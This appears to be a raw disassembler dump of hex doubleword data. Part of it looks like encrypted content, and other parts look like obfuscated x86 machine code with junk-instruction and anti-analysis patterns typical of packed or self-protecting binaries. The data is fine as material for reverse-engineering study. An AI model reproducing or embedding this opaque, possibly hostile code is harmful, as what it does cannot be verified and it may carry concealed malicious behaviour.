0BF466B9Eh dd 2CF439D5h, 385EB977h, 0AF743247h, 2CEA4867h, 0C22E343Eh dd 2A3F3457h, 725C6C74h, 2EEB70DDh, 2EC370D5h, 2AF33448h dd 763A6414h, 72EE0379h, 6D7E1F32h, 2A55E4ABh, 2A9CDC06h dd 70EF3454h, 7E6E6E97h, 6E723070h, 2AEE3070h, 78BE3454h dd 0DA9E0C97h, 638217D5h, 0A3992741h, 39CF39D1h, 7AE75E52h dd 2AF337BCh, 0E9A11454h, 0EB8BD0Ch, 0E3AB550h, 2A3F2F50h dd 0E9CF7454h, 2ACBA942h, 5FC1B732h, 7BF35E14h, 2AF937BCh dd 0E9A51454h, 0E32BD0Dh, 0E7BB550h, 2A9F2C50h, 0E99E7554h dd 1B7AB18Ch, 0F87252ACh, 2A7254FBh, 0C2AD343Eh, 2A7E3457h dd 73FC6D74h, 2EBB78DDh, 2EEB70D5h, 2AE7344Dh, 0CF306515h dd 2A96359Bh, 6F711D8Fh, 0A1782765h, 0EB865254h, 6B1ABD4Eh dd 25C92751h, 0D80EC5E3h, 40F33454h, 29116554h, 0AFC3454h dd 0A327F70Dh, 0AB3B1018h, 379B1010h, 6BCF3454h, 0CF66F705h dd 85899005h, 42813CAFh, 0AF714FE1h, 2C68F03Ah, 0A89DFh dd 90CF3247h, 0F8EFD3Fh, 40C330DDh, 291B6554h, 0AF93454h dd 0A3A5F70Dh, 0AB7A1018h, 313B1010h, 6B9F3454h, 0F2F4F705h dd 0B91B121Ch, 0BF0C436Bh, 2CEA25B9h, 0A732BF32h, 3CBA40C9h dd 5FB2BF52h, 0A3992764h, 39C67DC9h, 9081A752h, 0A1A3562Ch dd 2A93A7A4h, 2AFFDC06h, 705E3454h, 7EB66E97h, 6E1E3070h dd 2AD53070h, 78A53454h, 0BBEC4597h, 10896133h, 7A05835Bh dd 2A72BB5Bh, 0A7303454h, 2A9F3452h, 2ACFB25Bh, 2E6E3454h dd 2AE3DC70h, 97043454h, 28A79F2h, 749CA8Dh, 580839E4h dd 0BFAE4AA7h, 2CDC10D1h, 3F72CB0Dh, 0A1F52747h, 177CBD84h dd 4CFA275Eh, 0A18D17EEh, 392D39C1h, 0CB1AF252h, 79C92745h dd 0C2B4343Eh, 2AF33457h, 713A6F74h, 2ED868DDh, 2E5A70D5h dd 2A3F344Eh, 855C6717h, 0CB80D7EFh, 0BF6EA542h, 2CE03A45h dd 2AF930BCh, 0AD784B54h, 7A8CBFFEh, 2E1B70DFh, 0ED19E7EDh dd 4CCFBF60h, 0A319A5EDh, 0A1F71010h, 2A936C85h, 2AFFDC07h dd 715E3454h, 76B66F97h, 6E1E3070h, 2AD23070h, 79A43454h dd 24754497h, 9C321E9Fh, 4C2DE441h, 0D58937EBh, 3921DDE1h dd 789F5E52h, 2ACF37BCh, 0E9BD1454h, 0EA7BD0Eh, 0EBDB550h dd 2AFC2C50h, 0E92C7654h, 0BAE74776h, 97021D27h, 0D3C9275Ch dd 56D4B1D9h, 25933242h, 2AF931D7h, 0DA7D5254h, 97F55E91h dd 2C2C2EE9h, 34FCB35h, 39C979E1h, 0BF62BD52h, 40F5274Ah dd 29116154h, 0AFC3454h, 0A323F709h, 0AB3B1038h, 379B1010h dd 6FCF3454h, 415BF701h, 0E99AB70Bh, 3CA2633Ch, 212E8D32h dd 3B9FB192h, 0A3783247h, 3994D5D1h, 2ACBDC52h, 3F773454h dd 0A1FC9526h, 2AF93451h, 0EE42EFEDh, 26976446h, 0E83F3454h dd 2AE12210h, 0E420AC44h, 0A1CF79CCh, 4AF71010h, 0A19FE3DFh dd 2A775583h, 2A77BD5Bh, 9E5F3454h, 1A018F86h, 0A3AE5819h dd 0A1E31010h, 0A6FC6CAEh, 2AF93457h, 0A302835Bh, 3963D9E1h dd 0C38ACB52h, 9B99274Ah, 194AB9BAh, 40E12228h, 291B6354h dd 0AF93454h, 0A3A3F70Bh, 0AB7A1028h, 3F3B1010h, 6D9F3454h dd 64D1F703h, 1AC689DDh, 0FA0C3247h, 0A32B8B5Bh, 39CE1DD1h dd 7B7E5E52h, 2A3F37BCh, 0E9C61454h, 0E83BD0Dh, 0EA3B550h dd 2AF32950h, 0E9A87554h, 39A736AFh, 0A8CC7B0Ah, 0AFF9F8AEh dd 2C8C25B5h, 0D4783B07h, 0D680B03Ch, 214C52F1h, 0ECDB5FBh dd 16390C40h, 9F81C4DEh, 2C2C2ABDh, 345E897Dh, 0AF423247h dd 2CF14867h, 2C8244EAh, 0A129CB47h, 39DC15C1h, 0A3FBBD52h dd 9C392749h, 0CB1AF2BFh, 7DC92745h, 2BE8167h, 0B49B3247h dd 94698807h, 44705C41h, 0B25A00D5h, 7B3F8C55h, 2A99BC5Bh dd 97463454h, 2CF41D9Dh, 0C346CB0Dh, 40FF274Ah, 29146654h dd 0A7E3454h, 0A365F70Eh, 0AB9B1000h, 3DCB1010h, 68E73454h dd 0D43F706h, 814793B1h, 0A7BDDE5Eh, 3C0207D1h, 7B3F5E52h dd 2A9F37BCh, 0E9961454h, 0EABBD0Dh, 0EB7B550h, 2AF92150h dd 0E9AD7554h, 0A7F55022h, 2C2C34FDh, 0A1F9E4ABh, 874ABD9Fh dd 0A3E12765h, 39C7C1C9h, 0CB7CF252h, 69FA2745h, 0C7A3C5D5h dd 2ED71176h, 29F3454h, 7B73A424h, 7AB920E2h, 8E426306h dd 6E726A0Dh, 78AC3070h, 2A7E3ABDh, 90516E54h, 73D07F9Ch dd 564711Dh, 250D39E1h, 0C3C88B65h, 72A370FAh, 0A19A34DFh dd 0E3ABD9Fh, 2A2BDC50h, 0B2E53454h, 0D77E80Dh, 11288B29h dd 1F0E37C6h, 76BA155h, 78AC1DC9h, 2A7E25BCh, 0F5005F54h dd 0DE51E791h, 0BED9DE0Ah, 3432568Fh, 25A9FDB6h, 7033BF65h dd 0C3A46A0Ch, 2A7E3447h, 5B114FF7h, 0EE40CC67h, 73B6945Bh dd 0F9112C97h, 0D56833E5h, 39E7DDE1h, 7AFC5E52h, 2A7E37BCh dd 0E9671454h, 0EDBBD0Ch, 0E8BB550h, 2AE72D50h, 0E9A37454h dd 0B2CC4E3Eh, 2F15E44Eh, 8C7E3454h, 43F21CAEh, 2A9F3BBCh dd 55AEEC54h, 879437Eh, 21ADC347h, 7195E278h, 739DC134h dd 564DB1D9h, 2A553242h, 2A9CDC02h, 74EF3454h, 5E6E6A97h dd 6E723070h, 2AE33070h, 7CBA3454h, 5EE79D97h, 2D1901A4h dd 0BE28E32h, 0F34EE4ABh, 3ADD64DBh, 387AB1DDh, 2A933247h dd 2AFFDC03h, 755E3454h dd 56B66B97h, 6E1E3070h, 2AD83070h, 7DA03454h, 0DB9A2597h dd 39793B72h, 0C2FC3454h, 2A7E345Ch, 0FCFC5B8Eh, 0CD732C3Dh dd 2F0EB532h, 0AF6A6E86h, 2CE5F030h, 0C2AE343Eh, 2AFC3457h dd 75BD6B74h, 2E1B48DDh, 2EBB70D5h, 2ACF3442h, 41246313h dd 0AB957C35h, 0A30532A5h, 39EB41C9h, 23966452h, 0A73F3454h dd 0D74782F0h, 12F19298h, 74865406h, 0EF7BD0Ah, 0C2AF343Eh dd 2AFC3457h, 74BD6A74h, 2E1B40DDh, 2EBB70D5h, 2ACF3449h dd 0FB246212h, 0D2119394h, 0A9DAD880h, 0C769CBD9h, 25782745h dd 2A3F3DD8h, 29163B54h, 25CF3454h, 0F26CC7EBh, 21A681DDh dd 0A7703247h, 2CEF16E5h, 0EE26B1D9h, 0A1593242h, 78CFA487h dd 84297FEAh, 0A1D63B15h, 7AAB6E87h, 2AFCBF5Bh, 76463454h dd 0BA645090h, 0C268343Eh, 2A9F3457h, 750C6B74h, 2EC348DDh dd 2ED770D5h, 2AF9344Dh, 203F6313h, 56B77B6Fh, 258564B9h dd 0A3E22BDFh, 2AA51048h, 2AE4DC06h, 70D33454h, 7E706E97h dd 6E7D3070h, 2A6B3070h, 787D3454h, 0A3442297h, 39ECC5D1h dd 3F72CB52h, 25F52747h, 0AF70C4E3h, 2CEF1545h, 0C22D343Eh dd 2A3F3457h, 715C6F74h, 2EEB68DDh, 2EC370D5h, 2AF3344Fh dd 243A6717h, 0D6535112h, 25BEBC9Eh, 2A3F32D8h, 930ABF54h dd 0EDC92747h, 39EC15D1h, 2AF33B52h, 7CF95E54h, 2AFC37BCh dd 0E9201454h, 0E4BBD0Ah, 0EDBB550h, 2ACF2C50h, 0E9B17254h dd 8CBE62C8h, 0E374BF09h, 4CFA274Fh, 0D55E2FEAh, 391E25C1h dd 7D9F5E52h, 2ACF37BCh, 0E9B81454h, 0E8FBD0Bh, 0EBDB550h dd 2AFC2F50h, 0E9297354h, 7756E10Bh, 316D72C1h, 113EADEBh dd 4B62BD35h, 25F52766h, 2AF932D5h, 836B554h, 0A149F466h dd 391369D1h, 0D102B952h, 0A3C92283h, 976A3517h, 2CE0382Dh dd 0FD2C81D9h, 19453242h, 0D97E3454h, 920CDFF0h, 2A9F3454h dd 29BBF45Fh, 0A1E72C96h, 79FF1010h, 2AF934BCh, 0E97D6F54h dd 2A7E3443h, 3A1B68DDh, 3EBB70DDh, 0D0F88C0Fh, 0CA1834E4h dd 2ED770DFh, 2A93D4ABh, 2AFFDC04h, 725E3454h, 6EB66C97h dd 6E1E3070h, 2AD53070h, 7AA73454h, 93DA0597h, 0D45A372Ch dd 251543E2h, 0B97E3454h, 23C8C079h, 0AD6AE556h, 0FC24A99h dd 4086D34Fh, 291B6254h, 0AF93454h, 0A3A2F70Ah, 0AB7A1020h dd 3C3B1010h, 6C9F3454h, 2529F702h, 725AB9E6h, 0A7F52290h dd 3C214FD9h, 81C98C52h, 0AF4DAC72h, 2C2C2021h, 0DF4AFB7Fh dd 4735F2A1h, 3EEA7232h, 57C2AB34h, 742A7E34h, 0DD75FC6Bh dd 0D52EBB48h, 5E98370h, 0D98BA4F3h, 95BF6660h, 858B5781h dd 6133531h, 5BE9615Eh, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 9E2EC355h dd 182AE61Bh, 0FCEECDF7h, 0CE9h, 63D40D00h, 43CF3740h dd 0D949A581h, 0BE961ADh, 0C0000000h, 4A3D0352h, 9F4B78B1h dd 0E9C35218h, 0Eh, 5C92AA93h, 0F2B8E199h, 0E64707EDh dd 0C08BA45Eh, 25BD83F8h, 61316h, 0BD830975h, 6132C81h dd 50197400h, 0B8C08B53h, 4B9h, 31158589h, 9D8D0613h, 615A9E4h dd 585BD3FFh, 2C81BD83h, 74000613h, 0B8535017h, 4B9h, 31158589h dd 9D8D0613h, 615A685h, 585BD3FFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 20C35545h, 0A870Fh, 5E90000h dd 0AA000000h, 3EAF7771h, 0AE9FCh, 13580000h, 195FC125h dd 0CE2C63A0h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 235E9FC3h, 0E99E5735h, 12h, 0C2FFB29Ah dd 33EEA76Ch, 69E33EFh, 5B1DAE6Eh, 40F87BC4h, 0D8BEC18Bh dd 0EB5D52EBh, 4, 0C1858900h, 8D06131Eh, 131EA985h, 19D8906h dd 90061315h, 5E8h, 65ED1800h, 505E5DC4h, 8F78BE52h, 905F07CEh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0A3C35040h dd 0F103E622h, 318D01B8h, 8B06130Fh, 131ABDB5h, 6A006A06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0CE52C352h, 0A59968E5h, 8D89006Ah, 61309A1h dd 0DB86858Dh, 83FC0616h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 67F2BAC3h, 0D9117BBCh dd 509039E5h, 5E8h, 109C6200h, 75BF0BA4h, 5F77A217h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0E45AFFFAh, 0BF28ACh, 0E850Fh, 29600000h, 13256D9Dh dd 0DDB58B06h, 61061325h, 21B58Bh, 6A0613h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 60C35545h, 891E5DE8h dd 132B998Dh, 0B006A06h, 130F91BDh, 10E906h, 27F80000h dd 1B71863Dh, 0DD39B753h, 1F48A7B6h, 95FF8D2Eh, 61307F1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 71C35646h dd 0BD2B2C85h, 613207Dh, 0A36A9D8Dh, 7DBF0616h, 0FF4A3F03h dd 57006AD3h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0E48F91F7h, 0BCADC83h, 132B91BDh, 0D985FF06h dd 66061316h, 0DE9BC781h, 889E9h, 0E800h, 815D0000h, 16DB90EDh dd 399D0106h, 81061301h, 130B21BDh, 7D006h, 0C7860F00h dd 6A000001h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 76B4C356h, 0EEF36281h, 63E2A867h dd 14619D8Bh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 6414A3C3h, 8127A904h, 100E3h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 9D899564h, 6131F0Dh, 0BF78B66h, 9B850FDBh, 8B000000h dd 0D7BD83FBh, 616D9h, 2D840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 82975AC3h dd 0A3867FADh, 8CE9h, 0E18D2900h, 0C7061322h, 16D9D785h dd 106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0E9FE304Ah, 8, 0A5A62526h, 0B04C5968h dd 4CE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 9FC65BA7h, 0D6612EDh, 85C7781Dh dd 616D9D7h, 0 dd 11E8h, 7598500h, 16F884B3h, 4676F38Ah, 0A8C2231Dh, 0B58B2737h dd 6131D75h, 619D8D5Fh, 6A061314h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E29AC353h dd 0A3B76D2Dh, 8D099452h, 6132A35h, 0FEFF2381h, 6AFFFFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0AB7B0EC3h, 4D421C55h, 0E8608A5Ah, 0Ch, 9B6072F2h, 0D812B786h dd 0EBA5BB19h, 6E8h, 5A50E100h, 5FA6B43Fh, 0C98D8B5Ah dd 61061319h, 21BD29h, 8C660613h, 53006ADBh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E9C51083h dd 14h, 0EBC6CF1h, 858DA7E1h, 57BC6330h, 4003671Fh, 91D65B17h dd 0F04C3F6h, 8684h, 89858900h, 0FF06130Eh, 13211195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0B5AEF67Dh, 61BD8B46h, 8106131Eh, 0D5D6CF7h dd 13E9900Ah, 0DC000000h, 0F6012497h, 0AA3454DAh, 0F935E52Dh dd 30AFE915h, 0F509C6Dh, 8Fh, 6A9000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0CE910C3h dd 0CF000000h, 0AE4B8D3h, 1912FE3Ah, 0E91F055Dh, 4BFh dd 15800Fh, 10E90000h, 6000000h, 0CD819B71h, 6B8D8548h dd 9F52448Eh, 0B0C25299h, 13E900h, 9CC50000h, 0FC907BDDh dd 0C3BD48D5h, 96B0301Ch, 0FCC79F60h, 6A70E622h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0A98AC353h, 8B0D017Dh, 6A71E4FAh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 89EEC355h dd 132175BDh, 0D8B60F06h, 8E0Fh, 8E90000h, 0DC000000h dd 3901F18Ah, 0BA05FE37h, 6, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 4FC35747h, 0BD336AFCh, 6131F3Dh dd 0E1BD8B60h, 89061318h, 1301B1BDh, 0C38B6106h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A7C35747h, 6A04E8C1h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 129AC352h, 8BE2F766h, 131EADB5h, 47F7BF06h dd 0D82B2818h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0F4C35545h, 0ABA2F1ADh, 93FB3832h, 6964BE50h, 6A935C52h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0DB9CC353h, 1D2D126Ah, 5D26DB58h, 8BF88B66h dd 132CF5BDh, 21B5FF06h, 6A06130Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0C84DC352h dd 0A170A254h, 0F99E188h, 9D89F9BFh, 6131305h, 0DA995FFh dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 686234C3h, 0DA06027Ch, 0B0F818C4h, 0D9BD3300h dd 0E6061331h, 55006A70h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 7D8966D6h, 0F724121h dd 8D0FF6B7h, 6, 16218501h, 71E40613h, 830F613Ch, 2ABh dd 0B60FF98Bh, 51006AD8h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0A1DB29D3h, 0AD9D4901h dd 2DB50300h, 0BA061332h, 6, 8B665F50h, 0E8C38BF9h, 8 dd 0F83DB9D4h, 838359B9h, 11458529h, 0C15F0613h, 6A04E8h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 145223C3h, 660A3795h, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 60D441C3h, 0DD852957h dd 5F06132Bh, 0DE9h, 50AF8900h, 1C1D0938h, 6F4F318Ah, 0E9618CAEh dd 7, 0E9A6911Ch, 2BF8C69Ah, 56006AD8h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 1EAE518Fh dd 29BD8BC5h, 5806131Bh, 6E8h, 1F07F500h, 2BE656D7h, 132091B5h dd 0D82B5E06h, 1AD880Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0B58BE4C3h, 6131FE9h dd 31A1B58Bh, 95890613h, 6132C1Dh, 7B9h, 0C8B0F00h, 0F000000h dd 684h, 61B52900h, 8306130Dh, 6A00C1h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0E50420C3h dd 768D1E66h, 0D93B3068h, 139860Fh, 8A0F0000h, 6, 10559589h dd 8C660613h, 61FC60D9h, 0F04C1F6h, 0F984h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0E91CD69Ch, 6, 57412C6Ch, 95FF91CAh, 6132111h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 50C35343h, 196DC746h dd 5BF18B46h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0AEC35040h, 0C8144765h, 0C32B8395h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FBC35545h, 91865DE0h dd 89ED8568h, 132539BDh, 8343D06h, 860F0000h, 4Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 63C35646h, 2CAD3158h dd 4D64CB70h, 4AE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 5E013A5h, 1D09BD8Bh, 0C08B0613h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0D3C35343h dd 7AABAA42h, 8B11B28Ch, 0F8D88BC3h, 85C7F18Bh, 61316A1h dd 17FC935Fh, 1575BD8Bh, 0C08B0613h, 0A09BDF81h, 0BD814A74h dd 6130B21h, 7D0h, 29850Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 770B77C3h dd 0FF31FA99h, 130B2185h, 0FFF78B06h, 130B21B5h, 0D9952906h dd 89061306h, 132A15B5h, 0A995FF06h, 6A06130Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 52E9C353h, 0D1D78072h, 78B89070h, 6A123456h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 62A8C351h, 9EBB5C54h, 12619D89h, 8D890613h, 6130EADh dd 0E3949D8Dh, 0BAE90616h, 6AFFFFF7h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 7AC6C352h dd 65442799h, 6672B3F5h, 0A1ACF781h, 39958960h, 0F06131Dh dd 0C87h, 0E1950900h, 106132Bh, 13064DBDh, 0C18B6106h dd 0EBFBB70Fh, 4, 0FB8B6600h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0F1C35141h, 8398B409h, 8B0F7870h dd 6, 2471B589h, 81660613h, 8DABF9C6h, 131EA985h, 0FEBF0F06h dd 52505090h, 10E85250h, 94000000h, 0A47C0A5Eh, 7C932BC7h dd 5D78039Fh, 5E50E32Eh, 585A310Fh, 8B66310Fh, 90585AF8h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F5C35545h dd 0A2ED6F24h, 95896F8Fh, 6132D29h, 0BD8B006Ah, 61322C5h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h dd 5AE358C3h, 9CB096C0h, 34858DDEh, 6A0616E6h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0D527C356h, 0C3406FC1h, 0D9BD89F1h, 83061313h, 6A05C0h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 66AA71C3h, 539743BFh, 0CE9h, 651C4600h, 1688801Dh, 87E0C55Ah dd 0E9905E8Eh, 9, 0C9A72D4Ch, 0ACDBAE84h, 60605051h, 310F5250h dd 13E9585Ah, 68000000h, 14AAA518h, 2257E9EDh, 2695BD52h dd 8A5701E7h, 6161557Ah, 89006A90h, 131E7995h, 6A006A06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0CB10C357h, 0B58BB944h, 6131465h, 7F195FFh dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 0DAD2CBC3h, 9D8D0468h, 616A36Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 59C35242h, 82FE842h dd 0D3F78166h, 6AD3FFC3h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0EC5BC355h, 2E12E538h dd 0A05B509h, 85FF0613h, 61316D9h, 0DE9h, 0F89CCA00h, 8BB4727Eh dd 55CB5FE3h, 0BEE9C1BCh, 0E800000Dh, 0 dd 3EED815Dh, 0F0616E6h, 38Eh, 0FA8B6600h, 0B21BD81h, 7D00613h dd 860F0000h, 16Ch, 0F7BF0F56h, 0BD29525Fh, 61304CDh, 0CD9D8B5Fh dd 6A061309h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0D19DC351h, 26BEFFFEh, 100E381h dd 0BD8B0000h, 61325DDh, 850FDB0Bh, 0C8h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 16h, 0D4C35141h, 0BD8BC026h dd 6132A75h, 0E41BBD83h, 0F000616h, 3C84h, 55BD8B00h, 0E9061331h dd 0A3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 1CC35646h, 0FE9E0h, 4530000h, 47413C6Eh, 0E68D0EF0h dd 173DBE64h, 1B85C72Eh, 10616E4h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0E400C355h, 6B0A9712h, 89E45B7Dh, 1330759Dh, 39E906h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 27EC3h, 858FB8F4h, 0E41B85C7h, 616h, 60500000h dd 23D19D89h, 0BF0F0613h, 8D5E61C1h, 1309CD9Dh, 9D896006h dd 61321DDh, 61CB8B66h, 0FEFF2381h, 6AFFFFh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 27F3F1C3h dd 6E952h, 1B260000h, 2E741FEEh, 0F3B70F5Eh, 89DB8C66h dd 13214DB5h, 4C3F606h, 10840Fh, 95FF0000h, 6132111h, 8B6650FCh dd 240489F0h, 86E9F18Bh, 6A000004h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A210C350h dd 40A9F794h, 899C793Dh, 13353985h, 0E900B006h, 9, 11E256BBh dd 8955782h, 6A70E642h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 72B8C356h, 85CDEC3Eh dd 71E48A70h, 31B58BFCh, 0F061312h, 6AD8B6h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 8B0B3BC3h dd 94626808h, 14E9h, 0BE09AB00h, 0EE917488h, 45236EF5h dd 0A9CA9F6Dh, 2785BABDh, 6BA20h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 7EF4AEC3h dd 458D0156h, 0F06130Ah, 685h, 399D8900h, 8B061301h, 0DCBF66C3h dd 0CE974h, 82040000h, 7462880Ch, 0A82DFF03h, 0E8C18E88h dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 6E95641h, 0D1000000h, 0E6F0EF1Ah, 0E2F76621h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B7C35646h dd 4DB230CEh, 0D362A14Ah, 0D82BFA8Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 24C35141h, 13E95693h, 19000000h dd 5004EDB1h, 5AB5EA67h, 0D28146A2h, 4BE24048h, 505E8419h dd 57006A93h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 424CA399h, 61CAC71Dh, 0B5FFFC79h, 6130B21h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 9EC35040h dd 3F8876Ah, 0D1B50923h, 0FF061325h, 130DA995h, 598D0106h dd 0B0061313h, 75BD8B00h, 0E6061315h, 56006A70h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 2FCA75Ah, 5B46BE86h, 71E446EDh, 85B58B57h, 5E06131Dh dd 830F613Ch, 265h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 19C35242h, 37430549h, 0E68166F5h, 0B60FA8D0h dd 0FA8B66D8h, 6BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 9B372C1Ah, 0E9C38B1Fh dd 0Dh, 0E537A687h, 92F890F7h, 0A02DE7B2h, 4E8C137h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0EBC35141h, 0CF33CE18h dd 8B5D2E6Fh, 1323C1BDh, 0E2F76606h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 22C35747h, 6D55822Fh, 6AD82Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0DF359BC3h, 0A1B023Bh, 6A58F937h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 74D2C356h dd 64B98D33h, 0B58B4B4Bh, 61314D1h, 880FD82Bh, 159h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A6C35646h, 0C36A72ACh dd 393AD7E3h, 7B9F5h, 0DE810000h, 61F6440Eh, 0C183F5h dd 0FD93BF9h, 11C86h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0E860F99Ch, 0Ch, 0D876BD4Dh dd 0B39153BDh, 718327EEh, 22999589h, 615B0613h, 66D98C66h dd 0C1F6FA8Bh, 0B7840F04h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 452DC356h dd 0E9993A37h, 12h, 0FD7C39E4h, 0D722BA08h, 0DB33EC3h dd 3AEA2A08h, 0B58BE6DEh, 6130DB5h, 211195FFh, 7E90613h dd 29000000h, 330D7494h, 0F5B8AB4h, 688h, 74DF8100h, 2B315428h dd 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 3C260829h, 0F18D09D9h, 3D061324h, 834h dd 28860Fh, 42E90000h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 6014C351h dd 4AB866F5h, 0C08B6175h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 69C35747h, 8BC38B61h, 50006AD8h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 2146C2C9h, 146185C7h, 0D7310613h, 0C08B3A3Eh, 860Fh dd 0BD810000h, 6130B21h, 7D0h, 53850Fh, 